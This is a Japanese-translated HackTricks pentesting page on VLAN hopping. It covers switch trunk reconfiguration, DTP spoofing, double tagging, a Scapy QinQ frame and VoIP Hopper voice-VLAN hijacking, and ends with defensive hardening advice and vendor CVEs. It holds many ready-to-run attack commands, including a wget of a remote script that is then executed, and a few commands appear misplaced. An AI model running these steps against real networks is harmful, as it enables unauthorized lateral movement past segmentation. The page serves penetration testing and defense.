Lateral VLAN Segmentation Bypass
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
スイッチへの直接アクセスが可能な場合、VLANセグメンテーションをバイパスできます。これには、接続されたポートをトランクモードに再構成し、ターゲットVLAN用の仮想インターフェースを確立し、シナリオに応じて動的(DHCP)または静的にIPアドレスを設定することが含まれます(詳細についてはhttps://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9を確認してください。)
最初に、特定の接続ポートの特定が必要です。これは通常、CDPメッセージを通じて、またはincludeマスクを使用してポートを検索することで達成できます。
CDPが動作していない場合、MACアドレスを検索することでポートの特定を試みることができます:
SW1(config)# show mac address-table | include 0050.0000.0500
トランクモードに切り替える前に、既存のVLANのリストを作成し、それらの識別子を特定する必要があります。これらの識別子はインターフェースに割り当てられ、トランクを介してさまざまなVLANにアクセスできるようになります。使用中のポートは、例えば、VLAN 10に関連付けられています。
SW1# show vlan brief
トランクモードに移行するには、インターフェイス設定モードに入る必要があります:
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
トランクモードに切り替えると、一時的に接続が中断されますが、その後復元できます。
次に、仮想インターフェースが作成され、VLAN IDが割り当てられ、アクティブ化されます:
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
その後、DHCPを介してアドレスリクエストが行われます。あるいは、DHCPが利用できない場合には、アドレスを手動で設定することもできます:
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
インターフェース(VLAN 10)で静的IPアドレスを手動で設定する例:
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
接続性は、VLAN 10、20、50、および 60 のデフォルトゲートウェイに対して ICMP リクエストを開始することでテストされます。
最終的に、このプロセスは VLAN セグメンテーションのバイパスを可能にし、任意の VLAN ネットワークへの制限のないアクセスを促進し、その後のアクションのための舞台を整えます。
その他の VLAN ホッピング技術 (特権スイッチ CLI なし)
前の方法は、スイッチへの認証されたコンソールまたは Telnet/SSH アクセスを前提としています。実際のエンゲージメントでは、攻撃者は通常 通常のアクセスポート に接続されています。以下の Layer-2 トリックは、スイッチ OS にログインすることなく横方向にピボットすることを可能にします。
1. ダイナミック トランク プロトコル (DTP) を使用したスイッチ スプーフィング
DTP を有効にしている Cisco スイッチは、ピアがスイッチであると主張する場合、喜んでトランクを交渉します。単一の DTP “desirable” または “trunk” フレームを作成することで、アクセスポートが すべての 許可された VLAN を運ぶ 802.1Q トランクに変換されます。
Yersinia およびいくつかの PoC は、このプロセスを自動化します:
# Become a trunk using Yersinia (GUI)
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
リコンヘルパー(ポートのDTP状態をパッシブにフィンガープリンティングする):
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
ポートがトランクに切り替わると、802.1Qサブインターフェースを作成し、前のセクションに示された通りにピボットできます。
2. ダブルタグ付け(ネイティブVLANの悪用)
攻撃者がネイティブ(未タグ付け)VLANにいる場合、2つの 802.1Qヘッダーを持つ巧妙に作成されたフレームは、ポートがアクセスポートモードにロックされていても、2番目のVLANにホップすることができます。 VLANPWN DoubleTagging.py(2022-2025リフレッシュ)などのツールは、注入を自動化します:
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
3. QinQ (802.1ad) スタッキング
多くのエンタープライズコアはQ-in-Qサービスプロバイダーエンキャプスulationをサポートしています。許可されている場合、攻撃者は任意の802.1Qタグ付きトラフィックをプロバイダー(Sタグ)内にトンネルしてセキュリティゾーンを越えることができます。ethertype 0x88a8
をキャプチャし、Scapyを使用して外側のタグをポップしようとします:
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
企業のアクセスポートは、ワークステーション用のタグなしデータVLANと、CDPまたはLLDP-MEDを通じて広告されるタグ付き音声VLANの*「アクセス + 音声」*構成にあることがよくあります。 攻撃者はIP電話を偽装することで、DTPが無効になっていてもVoIP VLANを自動的に発見し、飛び込むことができます。
VoIP Hopper(Kali 2025.2にパッケージされています)は、CDP、DHCPオプション176/242、および完全なLLDP-MEDスプーフィングをサポートしています:
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
この技術はデータ/音声の分離をバイパスし、2025年の企業エッジスイッチで非常に一般的です。多くのモデルでLLDP自動ポリシーがデフォルトで有効になっています。
防御的推奨事項
- すべてのユーザーフェイシングポートでDTPを無効にする:
switchport mode access
+switchport nonegotiate
。 - すべてのトランクのネイティブVLANを未使用のブラックホールVLANに変更し、タグ付けする:
vlan dot1q tag native
。 - トランク上の不要なVLANをプルーニングする:
switchport trunk allowed vlan 10,20
。 - ポートセキュリティ、DHCPスヌーピング、動的ARP検査および802.1Xを強制して、不正なLayer-2アクティビティを制限する。
- IP電話のスプーフィングが必要ない場合は、LLDP-MED自動音声ポリシーを無効にする(または認証されたMAC OUIにロックする)。
- 802.1Qの分離にのみ依存するのではなく、プライベートVLANまたはL3セグメンテーションを優先する。
実世界のベンダー脆弱性 (2022-2024)
完全にハードニングされたスイッチ構成でも、ファームウェアのバグによって損なわれる可能性があります。最近の例には以下が含まれます:
- CVE-2022-20728† – Cisco Aironet/Catalystアクセスポイントは、ネイティブVLANから非ネイティブWLAN VLANへの注入を許可し、有線/無線のセグメンテーションをバイパスします。
- **CVE-2024-20465 (Cisco IOS Industrial Ethernet)**は、Resilient Ethernet Protocolを切り替えた後にSVIでACLバイパスを許可し、VRF/VLAN間のトラフィックを漏洩させます。パッチ17.9.5以降。
常にベンダーのアドバイザリーを監視し、VLAN関連のバイパス/ACLの問題に注意し、インフラストラクチャのイメージを最新の状態に保ってください。
参考文献
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- VLANPWN攻撃ツールキット – https://github.com/casterbytethrowback/VLANPWN
- Twingate "VLANホッピングとは?" (2024年8月) – https://www.twingate.com/blog/glossary/vlan%20hopping
- VoIP Hopperプロジェクト – https://github.com/hmgh0st/voiphopper
- Ciscoアドバイザリー “cisco-sa-apvlan-TDTtb4FY” – https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。